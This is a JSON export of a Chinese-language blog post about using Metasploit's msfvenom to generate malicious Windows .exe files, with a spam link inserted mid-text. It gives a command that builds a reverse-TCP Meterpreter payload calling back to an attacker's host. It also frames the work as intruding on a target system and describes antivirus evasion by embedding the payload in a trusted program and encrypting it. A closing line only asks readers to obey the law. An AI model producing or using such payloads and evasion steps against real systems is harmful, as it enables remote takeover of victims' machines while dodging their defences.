{"id":6876,"date":"2023-10-16T15:45:23","date_gmt":"2023-10-16T07:45:23","guid":{"rendered":"https:\/\/www.yimenyun.cn\/emen\/?p=6876"},"modified":"2023-10-16T15:45:23","modified_gmt":"2023-10-16T07:45:23","slug":"msfvenom%e7%94%9f%e6%88%90exe%e6%93%8d%e4%bd%9c%e6%b5%81%e7%a8%8b%e7%ae%80%e4%bb%8b","status":"publish","type":"post","link":"https:\/\/www.yimenyun.cn\/emen\/6876\/","title":{"rendered":"msfvenom\u751f\u6210exe\u64cd\u4f5c\u6d41\u7a0b\u7b80\u4ecb"},"content":{"rendered":"

msfvenom\u662fMetasploit Framework\u4e2d\u7684\u4e00\u4e2a\u5f3a\u5927\u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u7528\u4e8e\u751f\u6210\u5404\u79cd\u7c7b\u578b\u7684\u6076\u610f\u8f6f\u4ef6\uff0c\u5982exe\u3001dll\u3001apk\u3001ipa\u7b49\u7b49\u53bb\u6389\u540e\u7f00exe\u8f6f\u4ef6<\/a>\u3002\u672c\u6587\u5c06\u91cd\u70b9\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528msfvenom\u751f\u6210exe\u6587\u4ef6\u3002<\/p>\n

\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3exe\u6587\u4ef6\u7684\u57fa\u672c\u7ed3\u6784\u3002exe\u6587\u4ef6\u662fWindows\u64cd\u4f5c\u7cfb\u7edf\u4e0b\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u5b83\u7531\u591a\u4e2a\u8282\u7ec4\u6210\uff0c\u6bcf\u4e2a\u8282\u5305\u542b\u4e0d\u540c\u7684\u4ee3\u7801\u548c\u6570\u636e\u3002exe\u6587\u4ef6\u7684\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n

![exe\u6587\u4ef6\u7ed3\u6784](https:\/\/i.imgur.com\/UzqqHJL.png)<\/p>\n

\u5728\u751f\u6210exe\u6587\u4ef6\u65f6\uff0c\u6211\u4eec\u9700\u8981\u8003\u8651\u4ee5\u4e0b\u51e0\u4e2a\u65b9\u9762\uff1a<\/p>\n

1. \u5165\u4fb5\u7684\u76ee\u6807\u7cfb\u7edf\uff1a\u6211\u4eec\u9700\u8981\u4e86\u89e3\u76ee\u6807\u7cfb\u7edf\u7684\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u3001\u4f4d\u6570\u3001\u8bed\u8a00\u7b49\u4fe1\u606f\uff0c\u4ee5\u4fbf\u751f\u6210\u9002\u5408\u7684\u6076\u610f\u8f6f\u4ef6\u3002<\/p>\n

2. \u5165\u4fb5\u7684\u65b9\u5f0f\uff1a\u6211\u4eec\u9700\u8981\u9009\u62e9\u9002\u5408\u7684\u653b\u51fb\u8f7d\u8377\uff0c\u5982\u53cd\u5411TCP\/HTTP\/HTTPS shell\u3001meterpreter\u7b49\u3002<\/p>\n

3. \u5165\u4fb5\u7684\u514d\u6740\uff1a\u6211\u4eec\u9700\u8981\u4f7f\u7528\u4e00\u4e9b\u514d\u6740\u6280\u672f\uff0c\u5982\u52a0\u5bc6\u3001\u6df7\u6dc6\u3001\u591a\u6b21\u538b\u7f29\u7b49\uff0c\u4ee5\u907f\u514d\u88ab\u6740\u8f6f\u68c0\u6d4b\u3002<\/p>\n

\u6709\u4e86\u8fd9\u4e9b\u57fa\u7840\u77e5\u8bc6\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5f00\u59cb\u4f7f\u7528msfvenom\u751f\u6210exe\u6587\u4ef6\u4e86\u3002\u4e0b\u9762\u662f\u4e00\u4e2a\u793a\u4f8b\u547d\u4ee4\uff1a<\/p>\n

“`<\/p>\n

msfvenom -p windows\/meterpreter\/reverse_tcp LHOST= LPORT= -f exe -o <\/p>\n

“`<\/p>\n

\u6b64\u547d\u4ee4\u5c06\u751f\u6210\u4e00\u4e2a\u53cd\u5411TCP Meterpreter\u7684exe\u6587\u4ef6\uff0c\u5e76\u5c06\u5176\u8f93\u51fa\u5230\u6307\u5b9a\u7684\u6587\u4ef6\u4e2d\u3002\u5176\u4e2d\uff0cLHOST\u548cLPORT\u5206\u522b\u662f\u653b\u51fb\u8005\u7684IP\u5730\u5740\u548c\u7aef\u53e3\u53f7\uff0c-f\u6307\u5b9a\u8f93\u51fa\u6587\u4ef6\u7684\u683c\u5f0f\uff0c-o\u6307\u5b9a\u8f93\u51fa\u6587\u4ef6\u7684\u8def\u5f84\u548c\u540d\u79f0\u3002<\/p>\n

\u9664\u4e86\u53cd\u5411TCP Meterpreter\u5916\uff0cmsfvenom\u8fd8\u652f\u6301\u8bb8\u591a\u5176\u4ed6\u7c7b\u578b\u7684\u653b\u51fb\u8f7d\u8377\uff0c\u5982\u53cd\u5411HTTP\/HTTPS shell\u3001Windows\u53cd\u5411TCP shell\u3001Windows\u53cd\u5411HTTP\/HTTPS shell\u7b49\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528msfven<\/p>\n

<\/figure>\n<\/p>\n

om -l\u547d\u4ee4\u67e5\u770b\u6240\u6709\u652f\u6301\u7684\u653b\u51fb\u8f7d\u8377\u3002<\/p>\n

\u6309\u952e\u6253\u5305deb\u6559\u7a0b<\/a><\/p>\n

\u6b64\u5916\uff0c\u4e3a\u4e86\u907f\u514d\u88ab\u6740\u8f6f\u68c0\u6d4b\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e9b\u514d\u6740\u6280\u672f\u3002\u6bd4\u5982\uff0c\u4f7f\u7528msfvenom -x\u547d\u4ee4\u6307\u5b9a\u4e00\u4e2a\u53ef\u4fe1\u7684\u7a0b\u5e8f\u4f5c\u4e3a\u58f3\u7a0b\u5e8f\uff0c\u5c06\u6076\u610f\u4ee3\u7801\u5d4c\u5165\u5230\u58f3\u7a0b\u5e8f\u4e2d\uff0c\u4ee5\u6b64\u6765\u6b3a\u9a97\u6740\u8f6f\u3002\u8fd8\u53ef\u4ee5\u4f7f\u7528msfvenom -k\u547d\u4ee4\u6307\u5b9a\u4e00\u4e2a\u52a0\u5bc6\u7b97\u6cd5\uff0c\u5bf9\u751f\u6210\u7684\u6076\u610f\u4ee3\u7801\u8fdb\u884c\u52a0\u5bc6\uff0c\u4ee5\u907f\u514d\u88ab\u9759\u6001\u68c0\u6d4b\u3002<\/p>\n

\u603b\u4e4b\uff0cmsfvenom\u662f\u4e00\u4e2a\u975e\u5e38\u5f3a\u5927\u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u751f\u6210\u5404\u79cd\u7c7b\u578b\u7684\u6076\u610f\u8f6f\u4ef6\u3002\u4f46\u662f\uff0c\u6211\u4eec\u5fc5\u987b\u8c28\u614e\u4f7f\u7528\uff0c\u9075\u5b88\u6cd5\u5f8b\u6cd5\u89c4\uff0c\u4e0d\u5f97\u7528\u4e8e\u975e\u6cd5\u6d3b\u52a8\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

msfvenom\u662fMetasploit Framework\u4e2d\u7684\u4e00\u4e2a\u5f3a\u5927\u7684\u5de5\u5177\uff0c\u53ef\u4ee5\u7528\u4e8e\u751f\u6210\u5404\u79cd\u7c7b\u578b\u7684\u6076\u610f\u8f6f\u4ef6\uff0c\u5982exe\u3001dll\u3001apk\u3001ipa\u7b49\u7b49\u3002\u672c\u6587\u5c06\u91cd\u70b9\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528msfvenom\u751f\u6210exe\u6587<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[12341,832,16,453,12347],"topic":[],"class_list":["post-6876","post","type-post","status-publish","format-standard","hentry","category-exekf","tag-exedeb","tag-832","tag-16","tag-exe","tag-12347"],"_links":{"self":[{"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/posts\/6876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/comments?post=6876"}],"version-history":[{"count":0,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/posts\/6876\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/media?parent=6876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/categories?post=6876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/tags?post=6876"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.yimenyun.cn\/emen\/wp-json\/wp\/v2\/topic?post=6876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}